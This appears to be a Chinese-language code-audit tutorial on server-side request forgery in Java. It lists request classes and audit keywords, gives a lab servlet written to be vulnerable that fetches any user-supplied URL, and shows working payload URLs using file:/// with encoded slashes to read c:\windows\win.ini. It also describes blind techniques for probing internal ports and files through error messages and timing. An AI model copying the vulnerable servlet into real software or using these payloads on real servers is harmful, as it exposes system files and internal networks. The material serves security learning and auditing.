文章目录
- 1、java支持的网络请求协议:
- 2、Java 中能发起⽹络请求的类
- 2.1、仅⽀持 HTTP/HTTPS 协议的类
- 2.2、⽀持 sun.net.www.protocol 所有协议的类
- 2.3、审计关键词
- 3、靶场
- 3.1、漏洞代码1
- 3.2、ftp协议读取技巧
- 3.3、无回显之探测内网
- 3.4、无回显之探测文件
之前的文章,
php代码审计8之SSRF
1、java支持的网络请求协议:
file ftp mailto http https jar netdoc
在jdk1.7(含)以下还支持gopher协议;
小结:
Java中的SSRF相比php危害会小一些
遇到ssrf尝试使用ftp://来读取一些文件
2、Java 中能发起⽹络请求的类
2.1、仅⽀持 HTTP/HTTPS 协议的类
HttpClient 类
HttpURLConnection 类
OkHttp 类
Request 类
2.2、⽀持 sun.net.www.protocol 所有协议的类
URLConnection 类
URL 类
ImageIO 类
2.3、审计关键词
HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
URLConnection.getInputStream
Request.Get.execute
Request.Post.execute
ImageIO.read
OkHttpClient.newCall.execute
HttpServletRequest
BasicHttpRequest
3、靶场
3.1、漏洞代码1
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
@WebServlet("/ssrf1")
public class test extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html; charset=utf-8");
String url = req.getParameter("url");
System.out.println(url);
StringBuffer sb = new StringBuffer();
URL pic = new URL(url);
URLConnection urlConnection = pic.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream(),"UTF-8"));
String line;
while ((line =in.readLine())!=null){
sb.append(line);
}
in.close();
resp.getWriter().write(sb.toString());
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp
) throws ServletException, IOException {
this.doGet(req,resp);
}
}
3.2、ftp协议读取技巧
使用斜杠“\”全失败,但是编码后的“%5c”都可以成功
使用反斜杠“/”都成功,编码后的“%2f”都可以成功
不使用斜杠/反斜杠也可以成功
ssrf1?url=file:///c:\windows%5c%5cwin.ini 失败
ssrf1?url=file:///c:\\windows%5c%5cwin.ini 失败
ssrf1?url=file:///c:\\\windows%5c%5cwin.ini 失败
、、下边都成功
ssrf1?url=file:///c:%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5c%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5c%5c%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:windows%5c%5cwin.ini 、、不加斜杠或者反斜杠
、、下边都成功,都是反斜杠“/”或者其编码的
ssrf1?url=file:///c:/windows%5c%5cwin.ini
ssrf1?url=file:///c://windows%5c%5cwin.ini
ssrf1?url=file:///c:///windows%5c%5cwin.ini
ssrf1?url=file:///c:windows%5c%5cwin.ini
ssrf1?url=file:///c:%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2f%2fwindows%5c%5cwin.ini
另外在之前的任意文件读取之中,说到任意文件读取在win系统的情况下不能跨磁盘读取,
比如代码在D盘就无法读取C盘的内容
但是经过测试,ssrf使用ftp协议是可以跨磁盘读取的,
这里问题应该在与“ftp协议”本身就可以读取任何磁盘内容
3.3、无回显之探测内网
ssrf无回显的情况很常见,测试思路就是使用外部平台配合,
这个基础的问题不是今天要说的,要说的是根据不同的报错来确认文件,
当访问不通的端口时,提示链接被拒绝,
Connection refused: connect
访问通顺的端口且文件存在时,
当访问通顺的端口文件不存在时,
小结,
访问畅通的端口且文件不存在时,可能会报错,且返回时间最短
访问畅通的端口且文件存在时,没有报错,返回时间比上边差不太多(实际之中可能较难区分)
访问不畅通的端口时,可能会报错,且返回时间明显比上述长
3.4、无回显之探测文件
探测存在的文件时,一切正常,
探测不存在的文件时,报错
小结,
访问存在的文件,一切正常
访问不存在的文件,可能会返回报错,
但是以上两种请求,时间几乎一致